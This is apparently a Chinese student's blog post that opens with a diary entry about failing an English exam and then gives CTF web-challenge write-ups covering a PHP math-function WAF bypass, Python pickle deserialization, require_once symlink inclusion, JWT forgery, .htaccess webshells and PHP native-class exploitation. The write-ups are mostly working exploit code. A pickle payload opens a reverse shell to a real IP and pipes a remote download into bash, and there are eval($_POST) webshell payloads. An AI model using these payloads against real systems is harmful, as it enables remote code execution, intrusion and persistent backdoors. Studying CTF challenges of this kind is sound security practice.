前言

有一点小失落! 但是不能阻止我的脚步! 今天四级出分了!哈哈哈哈!又没过! 有点难哦! 这听力确实低!这次考试把!听力和翻译感觉写的不好!听力还是以往的听不懂,听不到,翻译把!就简单句!写的太简单了!哈哈哈哈! 我好久没认真学过课本上的东西了! 可能是自己不喜欢把,哎呀 ,马上大三了,是工作呢还是考研呢!我每次都告诉自己,英语不好就别考了,早点出去赚钱也好!而且上了大学,我每天就是对着电脑!课本上东西很少看了!就算考研,我不知道自己能不能适应那种高三的生活了!哈哈哈哈!我不怕被打败!但是我现在就是!我知道我英语不好,因该好好学一学,但是把,我又不想给它时间!我感觉它没啥用!平常自己感兴趣的东西还很多我学不完!所以我现在也有点烦!哈哈哈哈!烦过之后还是走着以前到路把!可能会给它一点改变!可能也是我因为眼界不够!看到的世界还太少!反正有总比没有强!啊啊啊啊!下回继续考!

[NESTCTF 2019]Love Math 2

知识点:WAF Bypass

长度限制60内!

waf 只能用数学函数!

http://www.w3school.com.cn/php/php_ref_math.asp

*主要考察利用已有函数构造危险函数绕过,实现RCE。*

前置知识点

> **PHP函数:**
>
> scandir() 函数:返回指定目录中的文件和目录的数组。
> base_convert() 函数:在任意进制之间转换数字。
> dechex() 函数:把十进制转换为十六进制。
> hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
> var_dump() :函数用于输出变量的相关信息。
> readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
> 语法:readfile(filename,include_path,context)
>
>
>
> **动态(可变)函数**
>
> PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数,例如: $a = "`assert`"; $a."(...)";
>
> PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 可变函数不能用于例如 eval() , echo , print , unset() , isset() , empty() , include() , require() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
assert7.1 以后也不能用了!
>
>
>
> **php中函数名默认为字符串**
>
> 例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择
>
>
>
> *引用自https://www.cnblogs.com/wangtanzhi/p/12246731.html

payload

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=<command>
php版本是7 ($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) #exec(getallheaders(){1})

image-20210826120446849

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
is_nan^64==>_G
tan^15==>ET
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>

文章:

https://www.cnblogs.com/yesec/p/12664136.html

[watevrCzTF-2019]Pickle Store

知识点:python反序列化

Flag Pickle

看到Pickle感觉就像py反序列化!

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/26 12:29
# @Author : upload
# @File : [watevrCTF-2019]Pickle Store.py
# @Software: PyCharm

import requests
import pickle
import os
import base64

proxy = '127.0.0.1:8080'
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}

target = 'gAN9cQAoWAUAAABtb25leXEBTXwBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgVAAAAWXVtbXkgc3RhbmRhcmQgcGlja2xlcQVYFAAAAFl1bW15IHNtw7ZyZ8Olc2d1cmthcQZlWBAAAABhbnRpX3RhbXBlcl9obWFjcQdYIAAAADU1NzIzM2FjN2MxMGUwYWRmMTc3NjE1NjRkYmY5NzMzcQh1Lg=='
target = base64.b64decode(target)
print(target)
print(pickle.loads(target))


import _pickle as cPickle
import sys
import base64

#必须在linux下才能运行成功 就下才能反弹
# COMMAND = 'curl http://47.94.0.250/1.txt|bash'
#
# class PickleRce(object):
# def __reduce__(self):
# import os
# return (os.system,(COMMAND,))
#
# print(base64.b64encode(cPickle.dumps(PickleRce())).decode())


# linux下运行
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.94.0.250",1));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
s = 'curl http://47.94.0.250:1'
# s = 'curl http://47.94.0.250:1'
return (os.system, (s,))

# s = "dir"
# print(os.system(s))
# s= 'curl http://47.94.0.250:1'
# os.system(s,)
e = exp()
s = pickle.dumps(e)
s = base64.b64encode(s).decode()

print(s)

#win|linux可以运行
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('curl 47.94.0.250/1.txt|bash')",))
a = A()
s = base64.b64encode( pickle.dumps(a)).decode()
print(s)

print(str(s))
burp0_cookies = {"session": str(s)}
#
response = requests.get("http://bf0abf49-1726-4f68-9cf4-04e834cce4ac.node4.buuoj.cn:81/", cookies=burp0_cookies)
print(response.content)

pickle.dumps( obj )

序列化对象,并将结果数据流写入到文件对象中。参数protocol是序列化模式,默认值为0,表示以文本的形式序列化。protocol的值还可以是1或2,表示以二进制的形式序列化。

pickle.loads()

反序列化对象。将数据解析为一个Python对象

# 从数据类型 –> 字符串的过程 序列化

# 从字符串 –> 数据类型的过程 反序列化

python里**几个重要的模块:**json、pickle、shelve

文章:

https://www.shawroot.cc/901.html

https://www.cnblogs.com/h3zh1/p/12698897.html

[WMCTF2020]Make PHP Great Again

知识点:

<?php
highlight_file(__FILE__);
require_once 'index.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

先说明一点! php的文件包含函数是不能直接包含字符串!

require_once 就算不能重复包含!

这里用到了require_once漏洞!

文章https://www.shawroot.cc/1917.html

require_once()在对软链接的操作上存在一些缺陷,软连接层数较多会使hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下:

我发现一个没用的东西哈哈哈哈哈!
image-20210826175217751

自己不能读自己哈哈哈!没啥用!

还有/proc/self/root/就算根目录!

payload

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

当然还可以session getshell! session路径好像是tmp!

通过上传PHP_SESSION_UPLOAD_PROGRESS
然后进行访问/tmp/sess_xxx,进行文件包含

[RootersCTF2019]ImgXweb

知识点:jwt伪造admin

一开始以为是伪造session!但是知道key后还是解密不了session!

就去试一试jwt!发现可以解密!

image-20210826181445942

[羊城杯2020]easyphp

知识点:文件上传 haccess

是[XNUCA2019Qualifier]EasyPHP的原题!

只不过官方那种方法不能用了!以为没有忘记包含了!就没法产生错误日志!就不能写shell了!也没法包含shell!

不够可以用.haccess getshell!

用它 auto_append_file 提前加载!shell即可!

补充一点!它写入的时候!是<?php eval($_POST[a]);?>\

image-20210826191808629

image-20210826191812455

是先写前部分再写后部分! 一开始以为是前面的反斜杠可以转移后面的!错了!不能!只不过.htaccess的反斜杠可以连接上下行!所以就不会500了!

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/26 18:24
# @Author : upload
# @File : [羊城杯2020]easyphp.py
# @Software: PyCharm
import requests

#下面有问题 预加载不了!不知道为什么
content='''php_value pcre.backtrack_limit 0
php_value auto_append_fi\\
le ".htaccess"
php_value pcre.jit 0
%23%20aa<?php eval($_POST[aa]);?>\\'''

#这个可以
content='''php_value auto_prepend_fi\\
le ".htaccess"
%23%20aa<?php eval($_POST[ab]);?>\\'''

#content = "%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%20%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%5c"

url = "http://113a58ca-0429-4e45-b377-e0d15314814f.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

以前的第二种方法我试不成功!还有一直hacker!

[极客大挑战 2020]Greatphp

知识点:php原生类

考点是md5/sha1可以对一个类进行hash,会触发一个类的__toString方法

image-20210826200859993

官方wp

https://github.com/WAY29/geek-2020-challenges/blob/main/roamphp7-greatphp/wp/wp.md

exp

<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

image-20210826212834533

小细节

由于toString生成的结果包含当前代码所在的行,所以新生成的2个实例必须在同一行)

绕过正则!用取反!

image-20210826213537681

image-20210826213800261

本来include用[]是不行的!

但是带个它:[!urldecode("%FF")] 就可以了!这时为啥!

算了!遛了!🐱‍👓🐱‍👓🐱‍👓🐱‍👓